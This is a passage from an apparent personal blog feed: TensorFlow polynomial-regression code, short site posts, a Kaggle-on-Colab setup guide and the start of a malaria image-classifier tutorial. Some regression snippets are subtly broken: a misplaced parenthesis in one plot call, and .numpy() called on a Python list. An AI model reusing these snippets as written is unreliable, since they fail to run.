<h3 id="plotting-final-coefficients">Plotting Final Coefficients</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">final_coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">c</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">coefficients</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Final Coefficients:"</span><span class="p">,</span> <span class="n">final_coefficients</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="s2">"Level"</span><span class="p">],</span> <span class="n">df</span><span class="p">[</span><span class="s2">"Salary"</span><span class="p">],</span> <span class="n">label</span><span class="o">=</span><span class="s2">"Original Data"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="s2">"Level"</span><span class="p">],[</span><span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">final_coefficients</span><span class="p">,</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">))</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="s2">"Level"</span><span class="p">]])</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylabel</span><span class="p">(</span><span class="s1">'Salary'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlabel</span><span class="p">(</span><span class="s1">'Position'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s2">"Salary vs Position"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<h2 id="code-snippet-for-a-polynomial-of-degree-n">Code Snippet for a Polynomial of Degree N</h2>
<h3 id="using-gradient-tape">Using Gradient Tape</h3>
<p>This should work regardless of the Keras backend version (2 or 3)</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">"data.csv"</span><span class="p">)</span>
<span class="c1">############################</span>
<span class="c1">## Change Parameters Here ##</span>
<span class="c1">############################</span>
<span class="n">x_column</span> <span class="o">=</span> <span class="s2">"Level"</span> <span class="c1">#</span>
<span class="n">y_column</span> <span class="o">=</span> <span class="s2">"Salary"</span> <span class="c1">#</span>
<span class="n">degree</span> <span class="o">=</span> <span class="mi">2</span> <span class="c1">#</span>
<span class="n">learning_rate</span> <span class="o">=</span> <span class="mf">0.3</span> <span class="c1">#</span>
<span class="n">num_epochs</span> <span class="o">=</span> <span class="mi">25_000</span> <span class="c1">#</span>
<span class="c1">############################</span>
<span class="n">X</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="n">x_column</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="n">y_column</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">()</span> <span class="o">*</span> <span class="mf">0.01</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">degree</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)]</span>
<span class="n">optimizer</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">keras</span><span class="o">.</span><span class="n">optimizers</span><span class="o">.</span><span class="n">Adam</span><span class="p">(</span><span class="n">learning_rate</span><span class="o">=</span><span class="n">learning_rate</span><span class="p">)</span>
<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_epochs</span><span class="p">):</span>
<span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">GradientTape</span><span class="p">()</span> <span class="k">as</span> <span class="n">tape</span><span class="p">:</span>
<span class="n">y_pred</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">coefficients</span><span class="p">,</span> <span class="n">X</span><span class="p">)</span>
<span class="n">loss</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_mean</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">square</span><span class="p">(</span><span class="n">Y</span> <span class="o">-</span> <span class="n">y_pred</span><span class="p">))</span>
<span class="n">grads</span> <span class="o">=</span> <span class="n">tape</span><span class="o">.</span><span class="n">gradient</span><span class="p">(</span><span class="n">loss</span><span class="p">,</span> <span class="n">coefficients</span><span class="p">)</span>
<span class="n">optimizer</span><span class="o">.</span><span class="n">apply_gradients</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">grads</span><span class="p">,</span> <span class="n">coefficients</span><span class="p">))</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">1000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Epoch: </span><span class="si">{</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s2">, Loss: </span><span class="si">{</span><span class="n">loss</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">final_coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">c</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">coefficients</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Final Coefficients:"</span><span class="p">,</span> <span class="n">final_coefficients</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Final Equation:"</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">" "</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">degree</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">final_coefficients</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s2"> * x^</span><span class="si">{</span><span class="n">degree</span><span class="o">-</span><span class="n">i</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">" + "</span> <span class="k">if</span> <span class="n">i</span> <span class="o"><</span> <span class="n">degree</span> <span class="k">else</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">,</span> <span class="n">label</span><span class="o">=</span><span class="s2">"Original Data"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">X</span><span class="p">,[</span><span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">final_coefficients</span><span class="p">,</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">))</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="n">x_column</span><span class="p">]]),</span> <span class="n">label</span><span class="o">=</span><span class="s2">"Our Poynomial"</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylabel</span><span class="p">(</span><span class="n">y_column</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlabel</span><span class="p">(</span><span class="n">x_column</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">x_column</span><span class="si">}</span><span class="s2"> vs </span><span class="si">{</span><span class="n">y_column</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<h3 id="without-gradient-tape">Without Gradient Tape</h3>
<p>This relies on the Optimizer's <code>minimize</code> function and uses the <code>var_list</code> parameter to update the variables.</p>
<p>This will not work with Keras 3 backend in TF 2.16.0 and above unless you switch to the legacy backend.</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">"data.csv"</span><span class="p">)</span>
<span class="c1">############################</span>
<span class="c1">## Change Parameters Here ##</span>
<span class="c1">############################</span>
<span class="n">x_column</span> <span class="o">=</span> <span class="s2">"Level"</span> <span class="c1">#</span>
<span class="n">y_column</span> <span class="o">=</span> <span class="s2">"Salary"</span> <span class="c1">#</span>
<span class="n">degree</span> <span class="o">=</span> <span class="mi">2</span> <span class="c1">#</span>
<span class="n">learning_rate</span> <span class="o">=</span> <span class="mf">0.3</span> <span class="c1">#</span>
<span class="n">num_epochs</span> <span class="o">=</span> <span class="mi">25_000</span> <span class="c1">#</span>
<span class="c1">############################</span>
<span class="n">X</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="n">x_column</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="n">y_column</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">()</span> <span class="o">*</span> <span class="mf">0.01</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">degree</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)]</span>
<span class="n">optimizer</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">keras</span><span class="o">.</span><span class="n">optimizers</span><span class="o">.</span><span class="n">Adam</span><span class="p">(</span><span class="n">learning_rate</span><span class="o">=</span><span class="n">learning_rate</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">loss_function</span><span class="p">():</span>
<span class="n">pred_y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">coefficients</span><span class="p">,</span> <span class="n">X</span><span class="p">)</span>
<span class="k">return</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_mean</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">square</span><span class="p">(</span><span class="n">pred_y</span> <span class="o">-</span> <span class="n">Y</span><span class="p">))</span>
<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_epochs</span><span class="p">):</span>
<span class="n">optimizer</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">loss_function</span><span class="p">,</span> <span class="n">var_list</span><span class="o">=</span><span class="n">coefficients</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">1000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">current_loss</span> <span class="o">=</span> <span class="n">loss_function</span><span class="p">()</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Epoch </span><span class="si">{</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s2">: Training Loss: </span><span class="si">{</span><span class="n">current_loss</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">final_coefficients</span> <span class="o">=</span> <span class="n">coefficients</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Final Coefficients:"</span><span class="p">,</span> <span class="n">final_coefficients</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Final Equation:"</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">" "</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">degree</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">final_coefficients</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s2"> * x^</span><span class="si">{</span><span class="n">degree</span><span class="o">-</span><span class="n">i</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">" + "</span> <span class="k">if</span> <span class="n">i</span> <span class="o"><</span> <span class="n">degree</span> <span class="k">else</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">,</span> <span class="n">label</span><span class="o">=</span><span class="s2">"Original Data"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">X</span><span class="p">,[</span><span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">final_coefficients</span><span class="p">,</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">))</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="n">x_column</span><span class="p">]],</span> <span class="n">label</span><span class="o">=</span><span class="s2">"Our Polynomial"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylabel</span><span class="p">(</span><span class="n">y_column</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlabel</span><span class="p">(</span><span class="n">x_column</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">x_column</span><span class="si">}</span><span class="s2"> vs </span><span class="si">{</span><span class="n">y_column</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<p>As always, remember to tweak the parameters and choose the correct model for the job. A polynomial regression model might not even be the best model for this particular dataset.</p>
<h2 id="further-programming">Further Programming</h2>
<p>How would you modify this code to use another type of nonlinear regression? Say, </p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>y</mi><mo>=</mo><mi>a</mi><msup><mi>b</mi><mi>x</mi></msup></mrow></math>
<p>Hint: Your loss calculation would be similar to:</p>
<div class="codehilite">
<pre><span></span><code><span class="n">bx</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">coefficients</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">X</span><span class="p">)</span>
<span class="n">pred_y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">multiply</span><span class="p">(</span><span class="n">coefficients</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">bx</span><span class="p">)</span>
<span class="n">loss</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_mean</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">square</span><span class="p">(</span><span class="n">pred_y</span> <span class="o">-</span> <span class="n">Y</span><span class="p">))</span>
</code></pre>
</div>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/hello-world.html
</guid>
<title>
Hello World
</title>
<description>
My first post.
</description>
<link>https://web.navan.dev/posts/hello-world.html</link>
<pubDate>Tue, 16 Apr 2019 17:39:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="hello-world">Hello World</h1>
<p><strong>Why a Hello World post?</strong></p>
<p>Just re-did the entire website using Publish (Publish by John Sundell). So, a new hello world post :) </p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2010-01-24-experiments.html
</guid>
<title>
Experiments
</title>
<description>
Just a markdown file for all experiments related to the website
</description>
<link>https://web.navan.dev/posts/2010-01-24-experiments.html</link>
<pubDate>Sun, 24 Jan 2010 23:43:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="experiments">Experiments</h1>
<p>https://s3-us-west-2.amazonaws.com/s.cdpn.io/148866/img-original.jpg</p>
<iframe frameborder="0" class="juxtapose" width="100%" height="675" src="https://cdn.knightlab.com/libs/juxtapose/latest/embed/index.html?uid=c600ff8c-3edc-11ea-b9b8-0edaf8f81e27"></iframe>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-01-15-Setting-up-Kaggle-to-use-with-Colab.html
</guid>
<title>
Setting up Kaggle to use with Google Colab
</title>
<description>
Tutorial on setting up kaggle, to use with Google Colab
</description>
<link>https://web.navan.dev/posts/2020-01-15-Setting-up-Kaggle-to-use-with-Colab.html</link>
<pubDate>Wed, 15 Jan 2020 23:36:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="setting-up-kaggle-to-use-with-google-colab">Setting up Kaggle to use with Google Colab</h1>
<p><em>In order to be able to access Kaggle Datasets, you will need to have an account on Kaggle (which is Free)</em></p>
<h2 id="grabbing-our-tokens">Grabbing Our Tokens</h2>
<h3 id="go-to-kaggle">Go to Kaggle</h3>
<p><img src="/assets/posts/kaggle-colab/ss1.png" alt=""Homepage"" /></p>
<h3 id="click-on-your-user-profile-and-click-on-my-account">Click on your User Profile and Click on My Account</h3>
<p><img src="/assets/posts/kaggle-colab/ss2.png" alt=""Account"" /></p>
<h3 id="scroll-down-until-you-see-create-new-api-token">Scroll Down until you see Create New API Token</h3>
<p><img src="/assets/posts/kaggle-colab/ss3.png" alt="" /></p>
<h3 id="this-will-download-your-token-as-a-json-file">This will download your token as a JSON file</h3>
<p><img src="/assets/posts/kaggle-colab/ss4.png" alt="" /></p>
<p>Copy the File to the root folder of your Google Drive</p>
<h2 id="setting-up-colab">Setting up Colab</h2>
<h3 id="mounting-google-drive">Mounting Google Drive</h3>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">google.colab</span> <span class="kn">import</span> <span class="n">drive</span>
<span class="n">drive</span><span class="o">.</span><span class="n">mount</span><span class="p">(</span><span class="s1">'/content/drive'</span><span class="p">)</span>
</code></pre>
</div>
<p>After this click on the URL in the output section, login and then paste the Auth Code</p>
<h3 id="configuring-kaggle">Configuring Kaggle</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s1">'KAGGLE_CONFIG_DIR'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"/content/drive/My Drive/"</span>
</code></pre>
</div>
<p>Voila! You can now download Kaggle datasets</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2019-12-08-Image-Classifier-Tensorflow.html
</guid>
<title>
Creating a Custom Image Classifier using Tensorflow 2.x and Keras for Detecting Malaria
</title>
<description>
Tutorial on creating an image classifier model using TensorFlow which detects malaria
</description>
<link>https://web.navan.dev/posts/2019-12-08-Image-Classifier-Tensorflow.html</link>
<pubDate>Sun, 08 Dec 2019 14:16:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="creating-a-custom-image-classifier-using-tensorflow-2x-and-keras-for-detecting-malaria">Creating a Custom Image Classifier using Tensorflow 2.x and Keras for Detecting Malaria</h1>
<p><strong>Done during Google Code-In. Org: Tensorflow.</strong></p>
<h2 id="imports">Imports</h2>
<div class="codehilite">
<pre><span></span><code><span class="o">%</span><span class="n">tensorflow_version</span> <span class="mf">2.</span><span class="n">x</span> <span class="c1">#This is for telling Colab that you want to use TF 2.0, ignore if running on local machine</span>
<span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span> <span class="c1"># We use the PIL Library to resize images</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">cv2</span>
<span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="kn">from</span> <span class="nn">tensorflow.keras</span> <span class="kn">import</span> <span class="n">datasets</span><span class="p">,</span> <span class="n">layers</span><span class="p">,</span> <span class="n">models</span>
<span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="kn">from</span> <span class="nn">keras.models</span> <span class="kn">import</span> <span class="n">Sequential</span>
<span class="kn">from</span> <span class="nn">keras.layers</span> <span class="kn">import</span> <span class="n">Conv2D</span><span class="p">,</span><span class="n">MaxPooling2D</span><span class="p">,</span><span class="n">Dense</span><span class="p">,</span><span class="n">Flatten</span><span class="p">,</span><span class="n">Dropout</span>
</code></pre>
</div>
<h2 id="dataset">Dataset</h2>
<h3 id="fetching-the-data">Fetching the Data</h3>
<div class="codehilite">
<pre><span></span><code><span class="err">!</span><span class="n">wget</span> <span class="n">ftp</span><span class="p">:</span><span class="o">//</span><span class="n">lhcftp</span><span class="o">.</span><span class="n">nlm</span><span class="o">.</span><span class="n">nih</span><span class="o">.</span><span class="n">gov</span><span class="o">/</span><span class="n">Open</span><span class="o">-</span><span class="n">Access</span><span class="o">-</span><span class="n">Datasets</span><span class="o">/</span><span class="n">Malaria</span><span class="o">/</span><span class="n">cell_images</span><span class="o">.</span><span class="n">zip</span>
<span class="err">!</span><span class="n">unzip</span> <span class="n">cell_images</span><span class="o">.</span><span class="n">zip</span>
</code></pre>
</div>
<h3 id="processing-the-data">Processing the Data</h3>
<p>We resize all the images as 50x50 and add the numpy array of that image as well as their label names (Infected or Not) to common arrays.</p>
<div class="codehilite">
<pre><span></span><code><span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">labels</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">Parasitized</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="s2">"./cell_images/Parasitized/"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">parasite</span> <span class="ow">in</span> <span class="n">Parasitized</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">image</span><span class="o">=</span><span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="s2">"./cell_images/Parasitized/"</span><span class="o">+</span><span class="n">parasite</span><span class="p">)</span>
<span class="n">image_from_array</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="s1">'RGB'</span><span class="p">)</span>
<span class="n">size_image</span> <span class="o">=</span> <span class="n">image_from_array</span><span class="o">.</span><span class="n">resize</span><span class="p">((</span><span class="mi">50</span><span class="p">,</span> <span class="mi">50</span><span class="p">))</span>
<span class="n">data</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">size_image</span><span class="p">))</span>
<span class="n">labels</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">AttributeError</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">""</span><span class="p">)</span>
<span class="n">Uninfected</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="s2">"./cell_images/Uninfected/"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">uninfect</span> <span class="ow">in</span> <span class="n">Uninfected</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">image</span><span class="o">=</span><span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="s2">"./cell_images/Uninfected/"</span><span class="o">+</span><span class="n">uninfect</span><span class="p">)</span>
<span class="n">image_from_array</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="s1">'RGB'</span><span class="p">)</span>
<span class="n">size_image</span> <span class="o">=</span> <span class="n">image_from_array</span><span class="o">.</span><span class="n">resize</span><span class="p">((</span><span class="mi">50</span><span class="p">,</span> <span class="mi">50</span><span class="p">))</span>
<span class="n">data</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">size_image</span><span class="p">))</span>
<span class="n">labels</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">AttributeError</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">""</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="splitting-data">Splitting Data</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">df</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">labels</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">labels</span><span class="p">)</span>
<span class="p">(</span><span class="n">X_train</span><span class="p">,</span> <span class="n">X_test</span><span class="p">)</span> <span class="o">=</span> <span class="n">df</span><span class="p">[(</span><span class="nb">int</span><span class="p">)(</span><span class="mf">0.1</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">df</span><span class="p">)):],</span><span class="n">df</span><span class="p">[:(</span><span class="nb">int</span><span class="p">)(</span><span class="mf">0.1</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">df</span><span class="p">))]</span>
